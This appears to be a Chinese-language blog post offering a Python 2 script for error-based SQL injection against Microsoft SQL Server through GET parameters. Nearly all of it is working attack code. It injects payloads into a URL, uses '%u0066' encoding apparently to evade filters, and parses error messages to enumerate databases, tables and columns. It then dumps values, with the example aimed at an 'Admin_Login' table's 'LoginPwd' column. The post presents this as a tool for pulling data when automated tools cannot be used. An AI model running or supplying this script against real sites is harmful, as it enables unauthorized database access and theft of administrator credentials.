基于mssql的报错注入的脚本(get)

在进行mssql注入的时候,由于各种各样的原因,我们不能使用工具进行值得获取,那么可以自行编写脚本来获取值,python由于其良好的抓取网页的功能,被大家广泛使用。

对于get型的mssql的报错注入,代码如下:

#! /usr/bin/
env python
#coding=utf-8
import re
import urllib
import urllib2
#从访问链接中获取报错信息

def getcontent(payload):  #获取网页内容
    url1=url+"AND ("+payload+")=1 --- "
    content = urllib.urlopen(url1).read()
    print content
    return  content

#从报错回显中提取数值
def getdata(content):
    patt = re.compile("nvarchar.*?'(.*?)'.*?int")
    data = patt.findall(content)
    if data:
        return data[0]
    else:
        return None
#获取当前数据库名
def getcurrentdb():
    payload = 'db_name()'
    content = getcontent(payload)
    data = getdata(content)
    print "current_db: "+data
    return data
def gettablename(dbname,n):  #获取表名
    tablelist1=[]
    for i in range(n):
        payload = "select top 1 name %u0066rom "+dbname+".dbo.sysobjects where xtype='U' and name  not in(select top "+str(i)+" name %u0066rom "+dbname+".dbo.sysobjects where xtype='U' order by name) order by name"
        try:
            content = getcontent(payload)
            data = getdata(content)
            #print data
            if data not in tablelist1:
                tablelist1.append(data)
            else:
                break
        except:
            continue
    print tablelist1
    print '--------------------'

def getcolumns(dbname,table,n):  #获取列名
    tablelist2=[]
    for i in range(n):
        payload="Select top 1 name %u0066rom "+dbname+".dbo.SysColumns Where id=Object_Id('"+table+"') and name not in (Select top "+str(i)+" Name %u0066rom "+dbname+".dbo.SysColumns Where id=Object_Id('"+table+"') order by name) order by name"
        try:
            content = getcontent(payload)
            data = getdata(content)
            if  data not in tablelist2:
                tablelist2.append(data)
            else:
                break
        except:
            continue
    print table
    print tablelist2
    print '--------------------'
def getvalue(dbname,table,column,n):  #获取各字段的值
    tablelist3=[]
    for i in range(n):
        payload="select top 1 "+column+" %u0066rom "+table+" where "+column+" not in(select top  "+str(i)+" "+column+" %u0066rom "+table+" order by  id)order by id"
        try:
            content = getcontent(payload)
            data = getdata(content)  
            if  data  not in tablelist3:
                tablelist3.append(data)
            else:
                break
        except:
            continue
    print column
    print tablelist3

if __name__ == "__main__":
    url="http://www.example/pages/BulletinPage.aspx?id=21"
    global url
    db=getcurrentdb()
    gettablename('saa',200)
    getcolumns(db,'Admin_Login',50)
    getvalue(db,'Admin_Login','LoginPwd',50)   #可自行选择注释,只留你需要的那个函数进行值得获取
